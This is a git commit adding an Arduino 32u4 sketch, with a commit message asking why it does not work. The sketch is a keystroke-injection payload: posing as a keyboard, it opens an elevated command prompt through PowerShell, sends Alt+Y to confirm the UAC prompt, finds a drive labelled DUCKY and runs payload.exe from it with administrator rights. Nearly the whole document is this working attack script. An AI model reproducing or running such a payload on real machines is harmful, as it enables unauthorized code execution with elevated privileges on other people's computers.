what am i doing wrong here guys i am trying to use my arduino 32u4 to access and execute an executable on a mounted drive called DUCKY its just not working

This commit is contained in:
Digita-Nightmare 2017-07-02 02:24:41 -05:00
parent 31e48a3872
commit bf4431ef08
1 changed files with 50 additions and 0 deletions

View File

@ -0,0 +1,50 @@
#include <HID-Project.h>
#include <HID-Settings.h>
// Utility function
void typeKey(int key){
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
void setup()
{
// Start Keyboard and Mouse
AbsoluteMouse.begin();
Keyboard.begin();
// Start Payload
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press(114);
Keyboard.releaseAll();
delay(200);
Keyboard.print("powershell Start-Process cmd.exe -Verb runAs");
typeKey(KEY_RETURN);
delay(2000);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(121);
Keyboard.releaseAll();
delay(500);
Keyboard.print("for /f %d in ('wmic volume get driveletter^, label ^| findstr \"DUCKY\"') do set duck=%d");
typeKey(KEY_RETURN);
Keyboard.print("%duck%\\payload.exe");
// End Payload
// Stop Keyboard and Mouse
Keyboard.end();
AbsoluteMouse.end();
}
// Unused
void loop() {}